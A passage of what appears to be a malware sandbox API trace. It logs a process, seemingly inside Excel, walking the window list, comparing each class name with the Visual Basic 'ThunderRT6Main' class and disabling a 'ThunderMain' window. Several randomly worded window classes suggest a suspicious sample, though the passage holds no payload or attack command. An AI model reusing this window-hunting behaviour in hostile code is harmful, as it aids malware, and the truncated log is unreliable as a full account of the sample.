lpString2="ThunderRT6Main") returned 1 [0140.987] GetWindowThreadProcessId (in: hWnd=0x100b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.987] GetWindow (hWnd=0x100b0, uCmd=0x2) returned 0x10098 [0140.987] GetClassNameA (in: hWnd=0x10098, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.987] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.987] GetWindowThreadProcessId (in: hWnd=0x10098, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.987] GetWindow (hWnd=0x10098, uCmd=0x2) returned 0x1009c [0140.987] GetClassNameA (in: hWnd=0x1009c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.987] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.987] GetWindowThreadProcessId (in: hWnd=0x1009c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.987] GetWindow (hWnd=0x1009c, uCmd=0x2) returned 0x200a0 [0140.987] GetClassNameA (in: hWnd=0x200a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.987] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.987] GetWindowThreadProcessId (in: hWnd=0x200a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.987] GetWindow (hWnd=0x200a0, uCmd=0x2) returned 0x1007e [0140.987] GetClassNameA (in: hWnd=0x1007e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.987] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.987] GetWindowThreadProcessId (in: hWnd=0x1007e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.987] GetWindow (hWnd=0x1007e, uCmd=0x2) returned 0x10094 [0140.987] GetClassNameA (in: hWnd=0x10094, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.987] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.987] GetWindowThreadProcessId (in: hWnd=0x10094, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.987] GetWindow (hWnd=0x10094, uCmd=0x2) returned 0x10096 [0140.987] GetClassNameA (in: hWnd=0x10096, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.987] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.987] GetWindowThreadProcessId (in: hWnd=0x10096, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.987] GetWindow (hWnd=0x10096, uCmd=0x2) returned 0x10076 [0140.987] GetClassNameA (in: hWnd=0x10076, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Button") returned 6 [0140.987] lstrcmpA (lpString1="Button", lpString2="ThunderRT6Main") returned -1 [0140.988] GetWindowThreadProcessId (in: hWnd=0x10076, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.988] GetWindow (hWnd=0x10076, uCmd=0x2) returned 0x10070 [0140.988] GetClassNameA (in: hWnd=0x10070, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0140.988] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0140.988] GetWindowThreadProcessId (in: hWnd=0x10070, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.988] GetWindow (hWnd=0x10070, uCmd=0x2) returned 0x10056 [0140.988] GetClassNameA (in: hWnd=0x10056, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.988] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.988] GetWindowThreadProcessId (in: hWnd=0x10056, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.988] GetWindow (hWnd=0x10056, uCmd=0x2) returned 0x1005a [0140.988] GetClassNameA (in: hWnd=0x1005a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Shell_TrayWnd") returned 13 [0140.988] lstrcmpA (lpString1="Shell_TrayWnd", lpString2="ThunderRT6Main") returned -1 [0140.988] GetWindowThreadProcessId (in: hWnd=0x1005a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.988] GetWindow (hWnd=0x1005a, uCmd=0x2) returned 0x10142 [0140.988] GetClassNameA (in: hWnd=0x10142, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ATL:000007FEF32B52C0") returned 20 [0140.988] lstrcmpA (lpString1="ATL:000007FEF32B52C0", lpString2="ThunderRT6Main") returned -1 [0140.988] GetWindowThreadProcessId (in: hWnd=0x10142, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x558 [0140.988] GetWindow (hWnd=0x10142, uCmd=0x2) returned 0x1013c [0140.988] GetClassNameA (in: hWnd=0x1013c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.988] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.988] GetWindowThreadProcessId (in: hWnd=0x1013c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0140.988] GetWindow (hWnd=0x1013c, uCmd=0x2) returned 0x1013a [0140.988] GetClassNameA (in: hWnd=0x1013a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="TaskSwitcherWnd") returned 15 [0140.988] lstrcmpA (lpString1="TaskSwitcherWnd", lpString2="ThunderRT6Main") returned -1 [0140.988] GetWindowThreadProcessId (in: hWnd=0x1013a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6f8 [0140.988] GetWindow (hWnd=0x1013a, uCmd=0x2) returned 0x10112 [0140.988] GetClassNameA (in: hWnd=0x10112, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.988] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.988] GetWindowThreadProcessId (in: hWnd=0x10112, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x674 [0140.988] GetWindow (hWnd=0x10112, uCmd=0x2) returned 0x10104 [0140.988] GetClassNameA (in: hWnd=0x10104, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.988] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.988] GetWindowThreadProcessId (in: hWnd=0x10104, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.988] GetWindow (hWnd=0x10104, uCmd=0x2) returned 0x100f2 [0140.988] GetClassNameA (in: hWnd=0x100f2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.988] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.988] GetWindowThreadProcessId (in: hWnd=0x100f2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.988] GetWindow (hWnd=0x100f2, uCmd=0x2) returned 0x100ca [0140.988] GetClassNameA (in: hWnd=0x100ca, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.988] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.988] GetWindowThreadProcessId (in: hWnd=0x100ca, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.988] GetWindow (hWnd=0x100ca, uCmd=0x2) returned 0x500ba [0140.988] GetClassNameA (in: hWnd=0x500ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="tooltips_class32") returned 16 [0140.988] lstrcmpA (lpString1="tooltips_class32", lpString2="ThunderRT6Main") returned 1 [0140.988] GetWindowThreadProcessId (in: hWnd=0x500ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.988] GetWindow (hWnd=0x500ba, uCmd=0x2) returned 0x100c2 [0140.988] GetClassNameA (in: hWnd=0x100c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Desktop User Picture") returned 20 [0140.988] lstrcmpA (lpString1="Desktop User Picture", lpString2="ThunderRT6Main") returned -1 [0140.988] GetWindowThreadProcessId (in: hWnd=0x100c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x6ec [0140.988] GetWindow (hWnd=0x100c2, uCmd=0x2) returned 0x10236 [0140.988] GetClassNameA (in: hWnd=0x10236, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSCTFIME UI") returned 11 [0140.988] lstrcmpA (lpString1="MSCTFIME UI", lpString2="ThunderRT6Main") returned -1 [0140.989] GetWindowThreadProcessId (in: hWnd=0x10236, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.989] GetWindowLongA (hWnd=0x10236, nIndex=-16) returned -1946157056 [0140.989] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0140.989] GetWindowLongPtrA (hWnd=0x10236, nIndex=-6) returned 0x0 [0140.989] GetWindow (hWnd=0x10236, uCmd=0x2) returned 0x201ae [0140.989] GetClassNameA (in: hWnd=0x201ae, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.989] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.989] GetWindowThreadProcessId (in: hWnd=0x201ae, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.989] GetWindowLongA (hWnd=0x201ae, nIndex=-16) returned -1946157056 [0140.989] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0140.989] GetWindowLongPtrA (hWnd=0x201ae, nIndex=-6) returned 0x13f190000 [0140.989] GetWindow (hWnd=0x201ae, uCmd=0x2) returned 0x20262 [0140.989] GetClassNameA (in: hWnd=0x20262, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConsoleWindowClass") returned 18 [0140.989] lstrcmpA (lpString1="ConsoleWindowClass", lpString2="ThunderRT6Main") returned -1 [0140.989] GetWindowThreadProcessId (in: hWnd=0x20262, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb84 [0140.989] GetWindow (hWnd=0x20262, uCmd=0x2) returned 0x20270 [0140.989] GetClassNameA (in: hWnd=0x20270, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.989] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.989] GetWindowThreadProcessId (in: hWnd=0x20270, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb94 [0140.989] GetWindow (hWnd=0x20270, uCmd=0x2) returned 0x302dc [0140.989] GetClassNameA (in: hWnd=0x302dc, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ThunderMain") returned 11 [0140.989] lstrcmpA (lpString1="ThunderMain", lpString2="ThunderRT6Main") returned -1 [0140.989] GetWindowThreadProcessId (in: hWnd=0x302dc, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.989] GetWindowLongA (hWnd=0x302dc, nIndex=-16) returned -2080374784 [0140.989] GetWindowLongPtrA (hWnd=0x302dc, nIndex=-6) returned 0x7fee5bf0000 [0140.989] IsWindowEnabled (hWnd=0x302dc) returned 1 [0140.989] GetPropA (hWnd=0x302dc, lpString=0xc131) returned 0x0 [0140.989] SetPropA (hWnd=0x302dc, lpString=0xc131, hData=0x1) returned 1 [0140.989] EnableWindow (hWnd=0x302dc, bEnable=0) returned 0 [0140.989] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0x1f, wParam=0x0, lParam=0x0) returned 0x0 [0140.989] NtdllDefWindowProc_A (hWnd=0x302dc, Msg=0xa, wParam=0x0, lParam=0x0) returned 0x0 [0140.989] GetWindow (hWnd=0x302dc, uCmd=0x2) returned 0x302c2 [0140.989] GetClassNameA (in: hWnd=0x302c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0140.989] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0140.989] GetWindowThreadProcessId (in: hWnd=0x302c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.989] GetWindowLongA (hWnd=0x302c2, nIndex=-16) returned 382664704 [0140.989] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0140.989] GetWindowLongPtrA (hWnd=0x302c2, nIndex=-6) returned 0x13f190000 [0140.989] GetWindow (hWnd=0x302c2, uCmd=0x2) returned 0x30242 [0140.989] GetClassNameA (in: hWnd=0x30242, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.989] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.989] GetWindowThreadProcessId (in: hWnd=0x30242, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.989] GetWindowLongA (hWnd=0x30242, nIndex=-16) returned -1778384896 [0140.989] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0140.989] GetWindowLongPtrA (hWnd=0x30242, nIndex=-6) returned 0x0 [0140.990] GetWindow (hWnd=0x30242, uCmd=0x2) returned 0x40244 [0140.990] GetClassNameA (in: hWnd=0x40244, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.990] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.990] GetWindowThreadProcessId (in: hWnd=0x40244, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.990] GetWindowLongA (hWnd=0x40244, nIndex=-16) returned -1778384896 [0140.990] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0140.990] GetWindowLongPtrA (hWnd=0x40244, nIndex=-6) returned 0x0 [0140.990] GetWindow (hWnd=0x40244, uCmd=0x2) returned 0x20288 [0140.990] GetClassNameA (in: hWnd=0x20288, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.990] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.990] GetWindowThreadProcessId (in: hWnd=0x20288, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.990] GetWindowLongA (hWnd=0x20288, nIndex=-16) returned -1778384896 [0140.990] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0140.990] GetWindowLongPtrA (hWnd=0x20288, nIndex=-6) returned 0x0 [0140.990] GetWindow (hWnd=0x20288, uCmd=0x2) returned 0x20286 [0140.990] GetClassNameA (in: hWnd=0x20286, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.990] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.990] GetWindowThreadProcessId (in: hWnd=0x20286, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.990] GetWindowLongA (hWnd=0x20286, nIndex=-16) returned -1778384896 [0140.990] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0140.990] GetWindowLongPtrA (hWnd=0x20286, nIndex=-6) returned 0x0 [0140.990] GetWindow (hWnd=0x20286, uCmd=0x2) returned 0x30252 [0140.990] GetClassNameA (in: hWnd=0x30252, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0140.990] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0140.990] GetWindowThreadProcessId (in: hWnd=0x30252, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.990] GetWindowLongA (hWnd=0x30252, nIndex=-16) returned 1149272145 [0140.990] GetWindow (hWnd=0x30252, uCmd=0x2) returned 0x102b0 [0140.990] GetClassNameA (in: hWnd=0x102b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="WorkerW") returned 7 [0140.990] lstrcmpA (lpString1="WorkerW", lpString2="ThunderRT6Main") returned 1 [0140.990] GetWindowThreadProcessId (in: hWnd=0x102b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xb10 [0140.990] GetWindow (hWnd=0x102b0, uCmd=0x2) returned 0x20256 [0140.990] GetClassNameA (in: hWnd=0x20256, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CFD File Open Message Window") returned 28 [0140.990] lstrcmpA (lpString1="CFD File Open Message Window", lpString2="ThunderRT6Main") returned -1 [0140.990] GetWindowThreadProcessId (in: hWnd=0x20256, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.990] GetWindowLongA (hWnd=0x20256, nIndex=-16) returned 213909504 [0140.990] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0140.990] GetWindowLongPtrA (hWnd=0x20256, nIndex=-6) returned 0x7feed7a0000 [0140.990] GetWindow (hWnd=0x20256, uCmd=0x2) returned 0x10246 [0140.990] GetClassNameA (in: hWnd=0x10246, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MsoStdCompMgr") returned 13 [0140.990] lstrcmpA (lpString1="MsoStdCompMgr", lpString2="ThunderRT6Main") returned -1 [0140.990] GetWindowThreadProcessId (in: hWnd=0x10246, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.990] GetWindowLongA (hWnd=0x10246, nIndex=-16) returned -2080374784 [0140.990] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0140.990] GetWindowLongPtrA (hWnd=0x10246, nIndex=-6) returned 0x7feefb40000 [0140.990] GetWindow (hWnd=0x10246, uCmd=0x2) returned 0x20224 [0140.990] GetClassNameA (in: hWnd=0x20224, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OleDdeWndClass") returned 14 [0140.990] lstrcmpA (lpString1="OleDdeWndClass", lpString2="ThunderRT6Main") returned -1 [0140.990] GetWindowThreadProcessId (in: hWnd=0x20224, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.991] GetWindowLongA (hWnd=0x20224, nIndex=-16) returned -2080374784 [0140.991] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0140.991] GetWindowLongPtrA (hWnd=0x20224, nIndex=-6) returned 0x7fefe290000 [0140.991] GetWindow (hWnd=0x20224, uCmd=0x2) returned 0x101ee [0140.991] GetClassNameA (in: hWnd=0x101ee, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.991] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.991] GetWindowThreadProcessId (in: hWnd=0x101ee, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.991] GetWindowLongA (hWnd=0x101ee, nIndex=-16) returned -2046820352 [0140.991] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0140.991] GetWindowLongPtrA (hWnd=0x101ee, nIndex=-6) returned 0x0 [0140.991] GetWindow (hWnd=0x101ee, uCmd=0x2) returned 0x101ec [0140.991] GetClassNameA (in: hWnd=0x101ec, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.991] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.991] GetWindowThreadProcessId (in: hWnd=0x101ec, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.991] GetWindowLongA (hWnd=0x101ec, nIndex=-16) returned -2046820352 [0140.991] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0140.991] GetWindowLongPtrA (hWnd=0x101ec, nIndex=-6) returned 0x0 [0140.991] GetWindow (hWnd=0x101ec, uCmd=0x2) returned 0x101ea [0140.991] GetClassNameA (in: hWnd=0x101ea, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.991] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.991] GetWindowThreadProcessId (in: hWnd=0x101ea, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.991] GetWindowLongA (hWnd=0x101ea, nIndex=-16) returned -2046820352 [0140.991] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0140.991] GetWindowLongPtrA (hWnd=0x101ea, nIndex=-6) returned 0x0 [0140.991] GetWindow (hWnd=0x101ea, uCmd=0x2) returned 0x101e8 [0140.991] GetClassNameA (in: hWnd=0x101e8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="MSO_BORDEREFFECT_WINDOW_CLASS") returned 29 [0140.991] lstrcmpA (lpString1="MSO_BORDEREFFECT_WINDOW_CLASS", lpString2="ThunderRT6Main") returned -1 [0140.991] GetWindowThreadProcessId (in: hWnd=0x101e8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.991] GetWindowLongA (hWnd=0x101e8, nIndex=-16) returned -2046820352 [0140.991] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0140.991] GetWindowLongPtrA (hWnd=0x101e8, nIndex=-6) returned 0x0 [0140.991] GetWindow (hWnd=0x101e8, uCmd=0x2) returned 0x101c2 [0140.991] GetClassNameA (in: hWnd=0x101c2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="XLMAIN") returned 6 [0140.991] lstrcmpA (lpString1="XLMAIN", lpString2="ThunderRT6Main") returned 1 [0140.991] GetWindowThreadProcessId (in: hWnd=0x101c2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.991] GetWindowLongA (hWnd=0x101c2, nIndex=-16) returned 114229248 [0140.991] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0140.991] GetWindowLongPtrA (hWnd=0x101c2, nIndex=-6) returned 0x13f190000 [0140.991] GetWindow (hWnd=0x101c2, uCmd=0x2) returned 0x401ba [0140.991] GetClassNameA (in: hWnd=0x401ba, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="OfficePowerManagerWindow") returned 24 [0140.991] lstrcmpA (lpString1="OfficePowerManagerWindow", lpString2="ThunderRT6Main") returned -1 [0140.991] GetWindowThreadProcessId (in: hWnd=0x401ba, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa6c [0140.991] GetWindow (hWnd=0x401ba, uCmd=0x2) returned 0x201b0 [0140.991] GetClassNameA (in: hWnd=0x201b0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ARC Window Class") returned 16 [0140.991] lstrcmpA (lpString1="ARC Window Class", lpString2="ThunderRT6Main") returned -1 [0140.991] GetWindowThreadProcessId (in: hWnd=0x201b0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.991] GetWindowLongA (hWnd=0x201b0, nIndex=-16) returned -2080374784 [0140.991] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0140.992] GetWindowLongPtrA (hWnd=0x201b0, nIndex=-6) returned 0x13f190000 [0140.992] GetWindow (hWnd=0x201b0, uCmd=0x2) returned 0x101a8 [0140.992] GetClassNameA (in: hWnd=0x101a8, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.992] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.992] GetWindowThreadProcessId (in: hWnd=0x101a8, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0140.992] GetWindow (hWnd=0x101a8, uCmd=0x2) returned 0x101a6 [0140.992] GetClassNameA (in: hWnd=0x101a6, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="bloggingroutesInformedwin") returned 25 [0140.992] lstrcmpA (lpString1="bloggingroutesInformedwin", lpString2="ThunderRT6Main") returned -1 [0140.992] GetWindowThreadProcessId (in: hWnd=0x101a6, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8b4 [0140.992] GetWindow (hWnd=0x101a6, uCmd=0x2) returned 0x101e4 [0140.992] GetClassNameA (in: hWnd=0x101e4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ComboLBox") returned 9 [0140.992] lstrcmpA (lpString1="ComboLBox", lpString2="ThunderRT6Main") returned -1 [0140.992] GetWindowThreadProcessId (in: hWnd=0x101e4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0xa30 [0140.992] GetWindowLongA (hWnd=0x101e4, nIndex=-16) returned 1149272145 [0140.992] GetWindow (hWnd=0x101e4, uCmd=0x2) returned 0x101a4 [0140.992] GetClassNameA (in: hWnd=0x101a4, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.992] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.992] GetWindowThreadProcessId (in: hWnd=0x101a4, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0140.992] GetWindow (hWnd=0x101a4, uCmd=0x2) returned 0x101a2 [0140.992] GetClassNameA (in: hWnd=0x101a2, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="Sport_Verification_Trash_") returned 25 [0140.992] lstrcmpA (lpString1="Sport_Verification_Trash_", lpString2="ThunderRT6Main") returned -1 [0140.992] GetWindowThreadProcessId (in: hWnd=0x101a2, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x8a4 [0140.992] GetWindow (hWnd=0x101a2, uCmd=0x2) returned 0x101a0 [0140.992] GetClassNameA (in: hWnd=0x101a0, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.992] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.992] GetWindowThreadProcessId (in: hWnd=0x101a0, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0140.992] GetWindow (hWnd=0x101a0, uCmd=0x2) returned 0x1019e [0140.992] GetClassNameA (in: hWnd=0x1019e, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CopyrightRegionalcls") returned 20 [0140.992] lstrcmpA (lpString1="CopyrightRegionalcls", lpString2="ThunderRT6Main") returned -1 [0140.992] GetWindowThreadProcessId (in: hWnd=0x1019e, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x894 [0140.992] GetWindow (hWnd=0x1019e, uCmd=0x2) returned 0x1019c [0140.992] GetClassNameA (in: hWnd=0x1019c, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.992] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.992] GetWindowThreadProcessId (in: hWnd=0x1019c, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0140.992] GetWindow (hWnd=0x1019c, uCmd=0x2) returned 0x1019a [0140.992] GetClassNameA (in: hWnd=0x1019a, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="ConstraintafterwardsmardiPortugalwin") returned 36 [0140.992] lstrcmpA (lpString1="ConstraintafterwardsmardiPortugalwin", lpString2="ThunderRT6Main") returned -1 [0140.992] GetWindowThreadProcessId (in: hWnd=0x1019a, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x884 [0140.992] GetWindow (hWnd=0x1019a, uCmd=0x2) returned 0x10198 [0140.992] GetClassNameA (in: hWnd=0x10198, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="IME") returned 3 [0140.992] lstrcmpA (lpString1="IME", lpString2="ThunderRT6Main") returned -1 [0140.992] GetWindowThreadProcessId (in: hWnd=0x10198, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0140.992] GetWindow (hWnd=0x10198, uCmd=0x2) returned 0x10196 [0140.993] GetClassNameA (in: hWnd=0x10196, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="provincefiftySpankclass") returned 23 [0140.993] lstrcmpA (lpString1="provincefiftySpankclass", lpString2="ThunderRT6Main") returned -1 [0140.993] GetWindowThreadProcessId (in: hWnd=0x10196, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x874 [0140.993] GetWindow (hWnd=0x10196, uCmd=0x2) returned 0x10192 [0140.993] GetClassNameA (in: hWnd=0x10192, lpClassName=0x20dff0, nMaxCount=64 | out: lpClassName="CurrencyAppointmentswnd") returned 23 [0140.993] lstrcmpA (lpString1="CurrencyAppointmentswnd", lpString2="ThunderRT6Main") returned -1 [0140.993] GetWindowThreadProcessId (in: hWnd=0x10192, lpdwProcessId=0x0 | out: lpdwProcessId=0x0) returned 0x864 [0140.993] GetWindow (hWnd=0x10192, uCmd=0x2) returned 0x10194 [0140.993] GetClassNameA (in: hWnd=0x10194, 